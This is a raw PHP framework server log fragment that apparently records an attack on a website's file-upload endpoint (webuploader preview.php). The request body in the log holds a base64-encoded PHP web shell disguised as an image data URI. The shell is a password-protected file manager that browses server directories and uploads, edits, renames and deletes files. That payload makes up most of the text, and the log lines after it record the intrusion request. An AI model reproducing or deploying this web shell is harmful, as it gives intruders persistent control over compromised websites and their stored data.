'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:31:22+08:00 ] 116.213.36.234 POST www.51tianwei.com/admin/lib/webuploader/preview.php [运行时间:0.002523s] [吞吐率:396.36req/s] [内存消耗:196.70kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'admin', 2 => 'lib', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 